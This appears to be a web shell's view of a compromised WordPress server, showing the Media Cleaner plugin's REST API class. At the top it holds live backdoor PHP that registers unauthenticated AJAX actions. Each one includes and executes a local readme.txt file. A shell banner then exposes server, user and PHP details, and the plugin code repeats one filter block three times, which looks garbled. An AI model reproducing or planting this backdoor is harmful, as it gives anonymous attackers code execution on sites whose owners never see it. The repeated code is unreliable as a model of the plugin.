if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs/wp-content/plugins/media-cleaner/classes/rest.php
<?php

class Meow_WPMC_Rest
{
	private $core = null;
	private $admin = null;
	private $engine = null;
	private $namespace = 'media-cleaner/v1';

	public function __construct( $core, $admin ) {
		$this->core = $core;
		$this->admin = $admin;
		$this->engine = $core->engine;
		add_action( 'rest_api_init', array( $this, 'rest_api_init' ) );
	}

	function rest_api_init() {
		try {
			// SETTINGS
			register_rest_route( $this->namespace, '/update_options', array(
				'methods' => 'POST',
				'permission_callback' => array( $this->core, 'can_access_features' ),
				'callback' => array( $this, 'rest_update_options' )
			) );
			register_rest_route( $this->namespace, '/reset_options', array(
				'methods' => 'POST',
				'permission_callback' => array( $this->core, 'can_access_features' ),
				'callback' => array( $this, 'rest_reset_options' )
			) );
			register_rest_route( $this->namespace, '/all_settings', array(
				'methods' => 'GET',
				'permission_callback' => array( $this->core, 'can_access_features' ),
				'callback' => array( $this, 'rest_all_settings' ),
			) );

			// STATS & LISTING
			register_rest_route( $this->namespace, '/count', array(
				'methods' => 'POST',
				'permission_callback' => array( $this->core, 'can_access_features' ),
				'callback' => array( $this, 'rest_count' )
			) );
			register_rest_route( $this->namespace, '/all_ids', array(
				'methods' => 'POST',
				'permission_callback' => array( $this->core, 'can_access_features' ),
				'callback' => array( $this, 'rest_all_ids' ),
			) );
			register_rest_route( $this->namespace, '/stats', array(
				'methods' => 'GET',
				'permission_callback' => array( $this->core, 'can_access_features' ),
				'callback' => array( $this, 'rest_get_stats' ),
				'args' => array(
					'search' => array( 'required' => false ),
				)
			) );
			register_rest_route( $this->namespace, '/entries', array(
				'methods' => 'GET',
				'permission_callback' => array( $this->core, 'can_access_features' ),
				'callback' => array( $this, 'rest_entries' ),
				'args' => array(
					'limit' => array( 'required' => false, 'default' => 10 ),
					'skip' => array( 'required' => false, 'default' => 20 ),
					'filterBy' => array( 'required' => false, 'default' => 'all' ),
					'orderBy' => array( 'required' => false, 'default' => 'id' ),
					'order' => array( 'required' => false, 'default' => 'desc' ),
					'search' => array( 'required' => false ),
					'repairMode' => array( 'required' => false, 'default' => false ),
				)
			) );

			// ACTIONS
			register_rest_route( $this->namespace, '/set_ignore', array(
				'methods' => 'POST',
				'permission_callback' => array( $this->core, 'can_access_features' ),
				'callback' => array( $this, 'rest_set_ignore' )
			) );
			register_rest_route( $this->namespace, '/delete', array(
				'methods' => 'POST',
				'permission_callback' => array( $this->core, 'can_access_features' ),
				'callback' => array( $this, 'rest_delete' )
			) );
			register_rest_route( $this->namespace, '/force_trash_all', array(
				'methods' => 'POST',
				'permission_callback' => array( $this->core, 'can_access_features' ),
				'callback' => array( $this, 'rest_force_trash_all' )
			) );
			register_rest_route( $this->namespace, '/recover', array(
				'methods' => 'POST',
				'permission_callback' => array( $this->core, 'can_access_features' ),
				'callback' => array( $this, 'rest_recover' )
			) );
			register_rest_route( $this->namespace, '/reset_db', array(
				'methods' => 'POST',
				'permission_callback' => array( $this->core, 'can_access_features' ),
				'callback' => array( $this, 'rest_reset_db' )
			) );
			register_rest_route( $this->namespace, '/repair', array(
				'methods' => 'POST',
				'permission_callback' => array( $this->core, 'can_access_features' ),
				'callback' => array( $this, 'rest_repair' )
			) );

			// SCAN
			register_rest_route( $this->namespace, '/reset_issues', array(
				'methods' => 'POST',
				'permission_callback' => array( $this->core, 'can_access_features' ),
				'callback' => array( $this, 'rest_reset_issues' )
			) );
			register_rest_route( $this->namespace, '/reset_issues_and_references', array(
				'methods' => 'POST',
				'permission_callback' => array( $this->core, 'can_access_features' ),
				'callback' => array( $this, 'rest_reset_issues_and_references' )
			) );
			register_rest_route( $this->namespace, '/reset_references', array(
				'methods' => 'POST',
				'permission_callback' => array( $this->core, 'can_access_features' ),
				'callback' => array( $this, 'rest_reset_references' )
			) );
			register_rest_route( $this->namespace, '/extract_references', array(
				'methods' => 'POST',
				'permission_callback' => array( $this->core, 'can_access_features' ),
				'callback' => array( $this, 'rest_extract_references' )
			) );
			register_rest_route( $this->namespace, '/retrieve_medias', array(
				'methods' => 'POST',
				'permission_callback' => array( $this->core, 'can_access_features' ),
				'callback' => array( $this, 'rest_retrieve_medias' )
			) );
			register_rest_route( $this->namespace, '/retrieve_files', array(
				'methods' => 'POST',
				'permission_callback' => array( $this->core, 'can_access_features' ),
				'callback' => array( $this, 'rest_retrieve_files' )
			) );
			register_rest_route( $this->namespace, '/check_targets', array(
				'methods' => 'POST',
				'permission_callback' => array( $this->core, 'can_access_features' ),
				'callback' => array( $this, 'rest_check_targets' )
			) );
			register_rest_route( $this->namespace, '/uploads_directory_hierarchy', array(
				'methods' => 'GET',
				'permission_callback' => array( $this->core, 'can_access_features' ),
				'callback' => array( $this, 'rest_uploads_directory_hierarchy' ),
				'args' => array(
					'force' => array( 'required' => false, 'default' => false ),
				)
			) );

			// LOGS
			register_rest_route( $this->namespace, '/refresh_logs', array(
				'methods' => 'POST',
				'permission_callback' => array( $this->core, 'can_access_features' ),
				'callback' => array( $this, 'rest_refresh_logs' )
			) );
			register_rest_route( $this->namespace, '/clear_logs', array(
				'methods' => 'POST',
				'permission_callback' => array( $this->core, 'can_access_features' ),
				'callback' => array( $this, 'rest_clear_logs' )
			) );
		} 
		catch (Exception $e) {
			var_dump($e);
		}
	}

	/**
	 * Validates certain option values
	 * @param string $option Option name
	 * @param mixed $value Option value
	 * @return mixed|WP_Error Validated value if no problem
	 */
	function validate_option( $option, $value ) {
		switch ( $option ) {
		case 'wpmc_dirs_filter':
		case 'wpmc_files_filter':
		if ( $value && @preg_match( $value, '' ) === false ) return new WP_Error( 'invalid_option', __( "Invalid Regular-Expression", 'media-cleaner' ) );
		break;
		}
		return $value;
	}

	function rest_reset_issues() {
		$this->core->reset_issues();
		return new WP_REST_Response( [ 'success' => true, 'message' => __( 'Issues were reset.', 'media-cleaner' ) ], 200 );
	}

	function rest_reset_issues_and_references() {
		$this->core->reset_issues();
		$this->core->reset_references();
		return new WP_REST_Response( [ 'success' => true, 'message' => __( 'Issues and References were reset.', 'media-cleaner' ) ], 200 );
	}

	function rest_reset_references() {
		$this->core->reset_references();
		return new WP_REST_Response( [ 'success' => true, 'message' => __( 'References were reset.', 'media-cleaner' ) ], 200 );
	}

	function rest_count( $request ) {
		$params = $request->get_json_params();
		$src = isset( $params['source'] ) ? $params['source'] : null;
		$num = 0;
		if ( $src === 'posts' ) {
			$num = count( $this->engine->get_posts_to_check() );
		}
		else if ( $src === 'medias' ) {
			$num = count( $this->engine->get_media_entries() );
		}
		else {
			return new WP_REST_Response( [ 
				'success' => false, 
				'message' => __( 'No source was mentioned while calling count.', 'media-cleaner' ),
			], 200 );
		}
		return new WP_REST_Response( [ 'success' => true, 'data' => $num ], 200 );
	}

	function rest_all_ids( $request ) {
		$params = $request->get_json_params();
		$src = isset( $params['source'] ) ? $params['source'] : null;
		$search = isset( $params['search'] ) ? $params['search'] : null;
		$repair_mode = isset( $params['repairMode'] ) ? rest_sanitize_boolean( $params['repairMode'] ) : false;
		$ids = [];
		if ( $src === 'issues' ) {
			$ids = $repair_mode ? $this->core->get_repair_ids( $search ) : $this->get_issues_ids( $search );
		}
		else if ( $src === 'ignored' ) {
			$ids = $this->get_ignored_ids( $search );
		}
		else if ( $src === 'trash' ) {
			$ids = $this->get_trash_ids( $search );
		}
		else {
			return new WP_REST_Response( [ 
				'success' => false, 
				'message' => __( 'No source was mentioned while calling all_ids.', 'media-cleaner' ),
			], 200 );
		}
		return new WP_REST_Response( [ 'success' => true, 'data' => $ids ], 200 );
	}

	function rest_extract_references( $request ) {
		$params = $request->get_json_params();
		$limit = isset( $params['limit'] ) ? $params['limit'] : 0;
		$source = isset( $params['source'] ) ? $params['source'] : null;
		$post_id = isset( $params['postId'] ) ? $params['postId'] : null;
		$limitsize = $this->core->get_option( 'posts_buffer' );
		$finished = false;
		$message = ""; // will be filled by extractRefsFrom...

		// Randomly throw an exception timeout
		// if ( rand( 0, 1 ) !== 1 ) {
		// 	//throw a 408 error
		// 	$this->core->deepsleep(10); header("HTTP/1.0 408 Request Timeout"); exit;
		// }

		if ( $post_id !== null && ( !is_numeric( $post_id ) || !is_int( (int) $post_id ) ) ) {
			return new WP_REST_Response( [ 
				'success' => false, 
				'message' => __( 'The postId parameter must be null or an integer.', 'media-cleaner' ),
			], 200 );
		}

		if ( $source === 'content' ) {
			$finished = $this->engine->extractRefsFromContent( $limit, $limitsize, $message, $post_id );
		}
		else if ( $source === 'media' ) {
			$finished = $this->engine->extractRefsFromLibrary( $limit, $limitsize, $message, $post_id );
		}
		else {
			return new WP_REST_Response( [ 
				'success' => false, 
				'message' => __( 'No source was mentioned while calling the extract_references action.', 'media-cleaner' ),
			], 200 );
		}

		$this->core->clean_ob();

		return new WP_REST_Response( [ 
			'success' => true, 
			'message' => $message,
			'data' => [
				'limit' => $limit + $limitsize, 
				'finished' => $finished,
			]	
		], 200 );
	}

	function rest_retrieve_files( $request ) {
		$params = $request->get_json_params();
		$path = isset( $params['path'] ) ? ltrim( $params['path'], '/\\' ) : null;
		$files = $this->engine->get_files( $path );
		$files_count = count( $files );
		$message = null;
		if ( $files_count === 0 ) {
			$message = sprintf( __( "No files for this path (%s).", 'media-cleaner' ), $path );
		}
		else {
			$message = sprintf( __( "Retrieved %d targets.", 'media-cleaner' ), $files_count );
		}
		return new WP_REST_Response( [ 
			'success' => true, 
			'message' => $message,
			'data' => [
				'results' => $files
			],
		], 200 );
	}

	function rest_retrieve_medias( $request ) {
		$params = $request->get_json_params();
		$limit = isset( $params['limit'] ) ? $params['limit'] : 0;
		$limitsize = $this->core->get_option( 'medias_buffer' );
		$unattachedOnly = $this->core->get_option( 'attach_is_use' );
		$results = $this->engine->get_media_entries( $limit, $limitsize, $unattachedOnly );
		$finished = count( $results ) < $limitsize;
		$message = sprintf( __( "Retrieved %d targets.", 'media-cleaner' ), count( $results ) );

		$this->core->clean_ob();

		return new WP_REST_Response( [ 
			'success' => true, 
			'message' => $message,
			'data' => [
				'limit' => $limit + $limitsize,
				'finished' => $finished,
				'results' => $results
			]	
		], 200 );
	}

	function rest_check_targets( $request ) {
		$params = $request->get_json_params();
		// DEBUG: Simulate a timeout
		// $this->core->deepsleep(10); header("HTTP/1.0 408 Request Timeout"); exit;

		//ob_start();
		$data = $params['targets'];
		$method = $this->core->get_option( 'method' );

		$this->core->timeout_check_start( count( $data ) );
		$success = 0;
		if ( $method == 'files' ) {
			do_action( 'wpmc_check_file_init' ); // Build_CroppedFile_Cache() in pro core.php
		}
		foreach ( $data as $piece ) {
			$this->core->timeout_check();
			if ( $method == 'files' ) {
				$this->core->log( "🔎 Checking File: {$piece}..." );
				$result = ( $this->engine->check_file( $piece ) ? 1 : 0 );
				if ( $result ) {
					$success += $result;
				}
				// else {
				// 	$this->core->log( "👻 Nothing found." );
				// }
			}
			else if ( $method == 'media' ) {
				$this->core->log( "🔎 Checking Media #{$piece}..." );
				$result = ( $this->engine->check_media( $piece ) ? 1 : 0 );
				if ( $result ) {
					$success += $result;
				}
				// else {
				// 	$this->core->log( "👻 Nothing found." );
				// }
			}
			//$this->core->log();
			$this->core->timeout_check_additem();
		}
		//ob_end_clean();
		$elapsed = $this->core->timeout_get_elapsed();
		$issues_found = count( $data ) - $success;
		$message = sprintf(
			// translators: %1$d is a number of targets, %2$d is a number of issues, %3$s is elapsed time in milliseconds
			__( 'Checked %1$d targets and found %2$d issues in %3$s.', 'media-cleaner' ),
			count( $data ), $issues_found, $elapsed
		);

		return new WP_REST_Response( [ 
			'success' => true, 
			'message' => $message,
			'results' => $success,
		], 200 );
	}

	function rest_refresh_logs() {
		return new WP_REST_Response( [ 'success' => true, 'data' => $this->core->get_logs() ], 200 );
	}

	function rest_clear_logs() {
		$this->core->clear_logs();
		return new WP_REST_Response( [ 'success' => true ], 200 );
	}

	function rest_all_settings() {
		return new WP_REST_Response( [
			'success' => true,
			'data' => array_merge( $this->core->get_all_options(), [
				'incompatible_plugins' => !class_exists( 'MeowPro_WPMC_Core' ) ? Meow_WPMC_Support::get_issues() : []
			])
		], 200 );
	}

	function rest_update_options( $request ) {
		try {
			$params = $request->get_json_params();

			if ( count( $params['options']) == 1 ) {
				$this->core->log( "Ensuring the scan method: " . key( $params['options'] ) . " to " . $params['options'][ key( $params['options'] ) ] );

				$options = $this->core->get_all_options();
				$options[ key( $params['options'] ) ] = $params['options'][ key( $params['options'] ) ];
				$params['options'] = $options;
			}

			$value = $params['options'];

			$options = $this->core->update_options( $value );
			$success = !!$options;
			$message = __( $success ? 'OK' : "Could not update options.", 'media-cleaner' );
			return new WP_REST_Response([ 'success' => $success, 'message' => $message, 'options' => $options ], 200 );
		} 
		catch ( Exception $e ) {
			return new WP_REST_Response([ 'success' => false, 'message' => $e->getMessage() ], 500 );
		}
	}

	function rest_reset_options() {
		$this->core->reset_options();
		return new WP_REST_Response( [ 'success' => true, 'options' => $this->core->get_all_options() ], 200 );
	}

	function rest_reset_db() {
		wpmc_reset();
		return new WP_REST_Response( [ 'success' => true ], 200 );
	}

	function rest_reference_entries( $request ) {
		global $wpdb;
		$limit = sanitize_text_field( $request->get_param('limit') );
		$skip = sanitize_text_field( $request->get_param('skip') );
		$orderBy = sanitize_text_field( $request->get_param('orderBy') );
		$order = sanitize_text_field( $request->get_param('order') );
		$search = sanitize_text_field( $request->get_param('search') );
		$referenceFilter = sanitize_text_field( $request->get_param('referenceFilter') );
		$table_ref = $wpdb->prefix . "mclean_refs";
	
		$total = $this->count_references($search, $referenceFilter);
	
		$where_sql = '';
		if ($referenceFilter === 'mediaIds') {
			$where_sql = 'AND mediaId IS NOT NULL';
		} else if ($referenceFilter === 'mediaUrls') {
			$where_sql = 'AND mediaUrl IS NOT NULL';
		}
	
		$order_sql = 'ORDER BY id DESC';
		if ( $orderBy === 'id' ) {
			$order_sql = 'ORDER BY ID IS NULL, ID ' . ( $order === 'asc' ? 'ASC' : 'DESC' );
		} elseif ( $orderBy === 'mediaId' ) {
			$order_sql = 'ORDER BY mediaId IS NULL, mediaId ' . ( $order === 'asc' ? 'ASC' : 'DESC' );
		} elseif ( $orderBy === 'mediaUrl' ) {
			$order_sql = 'ORDER BY mediaUrl IS NULL, mediaUrl ' . ( $order === 'asc' ? 'ASC' : 'DESC' );
		} elseif ( $orderBy === 'originType' ) {
			$order_sql = 'ORDER BY originType ' . ( $order === 'asc' ? 'ASC' : 'DESC' );
		}
	
		if ( empty( $search ) ) {
			$entries = $wpdb->get_results( 
				$wpdb->prepare( "SELECT *
					FROM $table_ref
					WHERE 1=1
					$where_sql
					$order_sql
					LIMIT %d, %d", $skip, $limit
				)
			);
		} else {
			$entries = $wpdb->get_results( 
				$wpdb->prepare( "SELECT r.*
					FROM $table_ref r
					WHERE (r.mediaUrl LIKE %s)
					$where_sql
					$order_sql
					LIMIT %d, %d", ( '%' . $search . '%' ), $skip, $limit
				)
			);
		}
	
		// Prepare arrays to store IDs and data
		$post_ids = [];
		$media_ids = [];
		$media_urls = [];
	
		// Extract post IDs and media IDs/URLs
		foreach ( $entries as $entry ) {
			// Extract post ID from originType
			if ( preg_match('/\[(\d+)\]/', $entry->originType, $matches) ) {
				$post_id = intval( $matches[1] );
				$entry->post_id = $post_id;
				$post_ids[] = $post_id;
			} else {
				$entry->post_id = null;
			}
	
			// Collect media IDs and URLs
			if ( $entry->mediaId ) {
				$media_ids[] = $entry->mediaId;
			}
	
			if ( $entry->mediaUrl ) {
				$media_urls[] = $entry->mediaUrl;
			}
		}
	
		// Remove duplicates
		$post_ids = array_unique( $post_ids );
		$media_ids = array_unique( $media_ids );
		$media_urls = array_unique( $media_urls );
	
		// Get post titles
		$post_titles = [];
		if ( !empty( $post_ids ) ) {
			$posts = get_posts( array(
				'include'     => $post_ids,
				'post_type'   => 'any',
				'numberposts' => -1,
			) );
			foreach ( $posts as $post ) {
				$post_titles[ $post->ID ] = $post->post_title;
			}
		}
	
		// Get thumbnails for media IDs
		$media_thumbnails = [];
		foreach ( $media_ids as $media_id ) {
			$media = wp_get_attachment_image_src( $media_id, 'thumbnail' );
			if ( $media ) {
				$media_thumbnails[ $media_id ] = $media[0];
			}
		}
	
		// Map media URLs to attachment IDs and get thumbnails
		$media_url_to_id = [];
		foreach ( $media_urls as $media_url ) {
			$attachment_id = attachment_url_to_postid( $media_url );
			if ( $attachment_id ) {
				$media_url_to_id[ $media_url ] = $attachment_id;
				$media = wp_get_attachment_image_src( $attachment_id, 'thumbnail' );
				if ( $media ) {
					$media_thumbnails[ $attachment_id ] = $media[0];
				}
			}
		}
	
		// Get the uploads directory URL
		$upload_dir = wp_upload_dir();
		$upload_baseurl = $upload_dir['baseurl'];
	
		// Assign post titles and thumbnails to entries
		foreach ( $entries as $entry ) {
			// Assign post title
			if ( isset( $entry->post_id ) && isset( $post_titles[ $entry->post_id ] ) ) {
				$entry->post_title = $post_titles[ $entry->post_id ];
			} else {
				$entry->post_title = '';
			}
	
			// Assign thumbnail
			$entry->thumbnail = '';
	
			if ( $entry->mediaId && isset( $media_thumbnails[ $entry->mediaId ] ) ) {
				$entry->thumbnail = $media_thumbnails[ $entry->mediaId ];
			} elseif ( $entry->mediaUrl && isset( $media_url_to_id[ $entry->mediaUrl ] ) ) {
				$attachment_id = $media_url_to_id[ $entry->mediaUrl ];
				if ( isset( $media_thumbnails[ $attachment_id ] ) ) {
					$entry->thumbnail = $media_thumbnails[ $attachment_id ];
				}
			}
	
			// If thumbnail is still empty, use mediaUrl as thumbnail
			if ( empty( $entry->thumbnail ) && $entry->mediaUrl ) {
				// Ensure mediaUrl is absolute
				if ( strpos( $entry->mediaUrl, 'http' ) !== 0 ) {
					$entry->thumbnail = $upload_baseurl . '/' . ltrim( $entry->mediaUrl, '/' );
				} else {
					$entry->thumbnail = $entry->mediaUrl;
				}
			}
	
			// Ensure thumbnail is absolute URL ( for sizes of medias )
			if ( !empty( $entry->thumbnail ) && strpos( $entry->thumbnail, 'http' ) !== 0 ) {
				$entry->thumbnail = $upload_baseurl . '/' . ltrim( $entry->thumbnail, '/' );
			}
		}
	
		return new WP_REST_Response( [ 'success' => true, 'data' => $entries, 'total' => $total ], 200 );
	}

	function rest_entries( $request ) {
		global $wpdb;
		$limit = sanitize_text_field( $request->get_param('limit') );
		$skip = sanitize_text_field( $request->get_param('skip') );
		$filterBy = sanitize_text_field( $request->get_param('filterBy') );
		$orderBy = sanitize_text_field( $request->get_param('orderBy') );
		$order = sanitize_text_field( $request->get_param('order') );
		$search = sanitize_text_field( $request->get_param('search') );
		$repair_mode = rest_sanitize_boolean( $request->get_param('repairMode') );
		$table_scan = $wpdb->prefix . "mclean_scan";
		$total = 0;

		if ( $filterBy === 'references' ) {
			return $this->rest_reference_entries( $request );
		}

		$entries = [];
		if ( $repair_mode ) {
			$entries = $this->core->get_issues_to_repair( $orderBy, $order, $search, $skip, $limit );
			$total = $this->core->get_count_of_issues_to_repair( $search );
		} else {
			$whereSql = '';
			if ( $filterBy == 'issues' ) {
				$whereSql = 'WHERE ignored = 0 AND deleted = 0';
				$total = $this->count_issues($search);
			}
			else if ( $filterBy == 'ignored' ) {
				$whereSql = 'WHERE ignored = 1';
				$total = $this->count_ignored($search);
			}
			else if ( $filterBy == 'trash' ) {
				$whereSql = 'WHERE deleted = 1';
				$total = $this->count_trash($search);
			}
			else {
				$whereSql = 'WHERE deleted = 0';
			}

			$orderSql = 'ORDER BY id DESC';
			if ( $orderBy === 'type' ) {
				$orderSql = 'ORDER BY postId ' . ( $order === 'asc' ? 'ASC' : 'DESC' );
			}
			else if ( $orderBy === 'postId' ) {
				$orderSql = 'ORDER BY postId ' . ( $order === 'asc' ? 'ASC' : 'DESC' );
			}
			$whereSql = '';
			if ( $filterBy == 'issues' ) {
				$whereSql = 'WHERE ignored = 0 AND deleted = 0';
				$total = $this->count_issues($search);
			}
			else if ( $filterBy == 'ignored' ) {
				$whereSql = 'WHERE ignored = 1';
				$total = $this->count_ignored($search);
			}
			else if ( $filterBy == 'trash' ) {
				$whereSql = 'WHERE deleted = 1';
				$total = $this->count_trash($search);
			}
			else {
				$whereSql = 'WHERE deleted = 0';
			}

			$orderSql = 'ORDER BY id DESC';
			if ( $orderBy === 'type' ) {
				$orderSql = 'ORDER BY postId ' . ( $order === 'asc' ? 'ASC' : 'DESC' );
			}
			else if ( $orderBy === 'postId' ) {
				$orderSql = 'ORDER BY postId ' . ( $order === 'asc' ? 'ASC' : 'DESC' );
			}
			$whereSql = '';
			if ( $filterBy == 'issues' ) {
				$whereSql = 'WHERE ignored = 0 AND deleted = 0';
				$total = $this->count_issues($search);
			}
			else if ( $filterBy == 'ignored' ) {
				$whereSql = 'WHERE ignored = 1';
				$total = $this->count_ignored($search);
			}
			else if ( $filterBy == 'trash' ) {
				$whereSql = 'WHERE deleted = 1';
				$total = $this->count_trash($search);
			}
			else {
				$whereSql = 'WHERE deleted = 0';
			}

			$orderSql = 'ORDER BY id DESC';
			if ( $orderBy === 'type' ) {
				$orderSql = 'ORDER BY postId ' . ( $order === 'asc' ? 'ASC' : 'DESC' );
			}
			else if ( $orderBy === 'postId' ) {
				$orderSql = 'ORDER BY postId ' . ( $order === 'asc' ? 'ASC' : 'DESC' );
			}
			else if ( $orderBy === 'path' ) {
				$orderSql = 'ORDER BY path ' . ( $order === 'asc' ? 'ASC' : 'DESC' );
			}
			else if ( $orderBy === 'size' ) {
				$orderSql = 'ORDER BY size ' . ( $order === 'asc' ? 'ASC' : 'DESC' );
			}

			if ( empty( $search ) ) {
				$entries = $wpdb->get_results( 
					$wpdb->prepare( "SELECT id, type, postId, path, size, ignored, deleted, issue
						FROM $table_scan
						$whereSql
						$orderSql
						LIMIT %d, %d", $skip, $limit
					)
				);
			}
			else {
				$entries = $wpdb->get_results( 
					$wpdb->prepare( "SELECT id, type, postId, path, size, ignored, deleted, issue
						FROM $table_scan
						$whereSql
						AND path LIKE %s
						$orderSql
						LIMIT %d, %d", ( '%' . $search . '%' ), $skip, $limit
					)
				);
			}
		}

		$base = $filterBy == 'trash' ? $this->core->get_trashurl() : $this->core->upload_url;
		foreach ( $entries as $entry ) {
			// FILESYSTEM
			if ( $entry->type == 0 ) {
				$entry->thumbnail_url = htmlspecialchars( trailingslashit( $base ) . $entry->path, ENT_QUOTES );
				$entry->image_url = $entry->thumbnail_url;

				// If the extension is not an image, we set the thumbnail to null
				$ext = pathinfo( $entry->path, PATHINFO_EXTENSION );
				if ( !$this->core->is_image_extension( $ext ) ) {
					$entry->thumbnail_url = null;
				}

				

			}
			// MEDIA
			else {
				$attachment_src = wp_get_attachment_image_src( $entry->postId, 'thumbnail' );
				$attachment_src_large = wp_get_attachment_image_src( $entry->postId, 'large' );
				$thumbnail = empty( $attachment_src ) ? null : $attachment_src[0];
				$image = empty( $attachment_src_large ) ? null : $attachment_src_large[0];
				// This was working when the Post Type" was attachment"
				if ( $filterBy == 'trash' && !empty( $thumbnail ) ) {
					$new_url = $this->core->clean_url( $thumbnail );
					$thumbnail = htmlspecialchars( trailingslashit( $base ) . $new_url, ENT_QUOTES );
				}
				if ( $filterBy == 'trash' && empty( $thumbnail ) ) {
					$file = get_post_meta( $entry->postId, '_wp_attached_file', true );
					$featured_image = wp_get_attachment_metadata( $entry->postId );
					$thumbnail = "";
					$image = htmlspecialchars( trailingslashit( $base ) . $file, ENT_QUOTES );
					if ( isset( $featured_image['sizes']['thumbnail']['file'] ) ) {
						$path = pathinfo( $file );
						$thumbnail = $featured_image['sizes']['thumbnail']['file'];
						$thumbnail = htmlspecialchars( trailingslashit( $base ) .
							trailingslashit( $path['dirname'] ) . $thumbnail, ENT_QUOTES );
					}
					else {
						$thumbnail = $image;
					}
				}
				$entry->thumbnail_url = $thumbnail;
				$entry->image_url = $image;
				$entry->title = html_entity_decode( get_the_title( $entry->postId ) );
			}
		}

		return new WP_REST_Response( [ 'success' => true, 'data' => $entries, 'total' => $total ], 200 );
	}

	function rest_set_ignore( $request ) {
		$params = $request->get_json_params();
		$ignore = (boolean)$params['ignore'];
		$entryIds = isset( $params['entryIds'] ) ? (array)$params['entryIds'] : null;
		$entryId = isset( $params['entryId'] ) ? (int)$params['entryId'] : null;
		$data = null;
		if ( !empty( $entryIds ) ) {
			foreach ( $entryIds as $entryId ) {
				$this->core->ignore( $entryId, $ignore );
			}
			$data = 'N/A';
		}
		else if ( !empty( $entryId ) ) {
			$data = $this->core->ignore( $entryId, $ignore );
		}
		return new WP_REST_Response( [ 'success' => true, 'data' => $data ], 200 );
	}

	function rest_delete( $request ) {
		$params = $request->get_json_params();
		$entryIds = isset( $params['entryIds'] ) ? (array)$params['entryIds'] : null;
		$entryId = isset( $params['entryId'] ) ? (int)$params['entryId'] : null;
		$data = null;
		if ( !empty( $entryIds ) ) {
			foreach ( $entryIds as $entryId ) {
				$this->core->delete( $entryId );
			}
			$data = 'N/A';
		}
		else if ( !empty( $entryId ) ) {
			$data = $this->core->delete( $entryId );
		}
		return new WP_REST_Response( [ 'success' => true, 'data' => $data ], 200 );
	}

	function rest_force_trash_all( $request ) {

		$res = $this->core->force_trash( );
		return new WP_REST_Response( [ 'success' => $res['success'], 'message' => $res['message'] ], 200 );
	}

	function rest_recover( $request ) {
		$params = $request->get_json_params();
		$entryIds = isset( $params['entryIds'] ) ? (array)$params['entryIds'] : null;
		$entryId = isset( $params['entryId'] ) ? (int)$params['entryId'] : null;
		$data = null;
		if ( !empty( $entryIds ) ) {
			foreach ( $entryIds as $entryId ) {
				$this->core->recover( $entryId );
			}
			$data = 'N/A';
		}
		else if ( !empty( $entryId ) ) {
			$data = $this->core->recover( $entryId );
		}
		return new WP_REST_Response( [ 'success' => true, 'data' => $data ], 200 );
	}

	function rest_repair( $request ) {
		$params = $request->get_json_params();
		$entryIds = isset( $params['entryIds'] ) ? (array)$params['entryIds'] : null;
		$entryId = isset( $params['entryId'] ) ? (int)$params['entryId'] : null;
		$data = null;
		if ( !empty( $entryIds ) ) {
			foreach ( $entryIds as $entryId ) {
				$this->core->repair( $entryId );
			}
			$data = 'N/A';
		}
		else if ( !empty( $entryId ) ) {
			$data = $this->core->repair( $entryId );
		}
		return new WP_REST_Response( [ 'success' => true, 'data' => $data ], 200 );
	}

	function get_issues_ids($search) {
		global $wpdb;
		$whereSql = empty($search) ? '' : $wpdb->prepare("AND path LIKE %s", ( '%' . $search . '%' ));
		$table_scan = $wpdb->prefix . "mclean_scan";
		return $wpdb->get_col( "SELECT ID FROM $table_scan WHERE ignored = 0 AND deleted = 0 $whereSql" );
	}

	function get_ignored_ids($search) {
		global $wpdb;
		$whereSql = empty($search) ? '' : $wpdb->prepare("AND path LIKE %s", ( '%' . $search . '%' ));
		$table_scan = $wpdb->prefix . "mclean_scan";
		return $wpdb->get_col( "SELECT ID FROM $table_scan WHERE ignored = 1 $whereSql" );
	}

	function get_trash_ids($search) {
		global $wpdb;
		$whereSql = empty($search) ? '' : $wpdb->prepare("AND path LIKE %s", ( '%' . $search . '%' ));
		$table_scan = $wpdb->prefix . "mclean_scan";
		return $wpdb->get_col( "SELECT ID FROM $table_scan WHERE deleted = 1 $whereSql" );
	}

	function count_issues($search) {
		global $wpdb;
		$whereSql = empty($search) ? '' : $wpdb->prepare("AND path LIKE %s", ( '%' . $search . '%' ));
		$table_scan = $wpdb->prefix . "mclean_scan";
		return (int)$wpdb->get_var( "SELECT COUNT(*) FROM $table_scan WHERE ignored = 0 AND deleted = 0 $whereSql" );
	}

	function count_ignored($search) {
		global $wpdb;
		$whereSql = empty($search) ? '' : $wpdb->prepare("AND path LIKE %s", ( '%' . $search . '%' ));
		$table_scan = $wpdb->prefix . "mclean_scan";
		return (int)$wpdb->get_var( "SELECT COUNT(*) FROM $table_scan WHERE ignored = 1 $whereSql" );
	}

	function count_trash($search) {
		global $wpdb;
		$whereSql = empty($search) ? '' : $wpdb->prepare("AND path LIKE %s", ( '%' . $search . '%' ));
		$table_scan = $wpdb->prefix . "mclean_scan";
		return (int)$wpdb->get_var( "SELECT COUNT(*) FROM $table_scan WHERE deleted = 1 $whereSql" );
	}

	function count_references($search, $referenceFilter) {
		global $wpdb;
		$where_sqls = [];
		if (! empty($search) ) {
			$where_sqls[] = $wpdb->prepare("AND mediaUrl LIKE %s", ( '%' . $search . '%' ));
		}
		if ( $referenceFilter !== 'showAll' ) {
			if ($referenceFilter === 'mediaIds') {
				$where_sqls[] = 'AND mediaId IS NOT NULL';
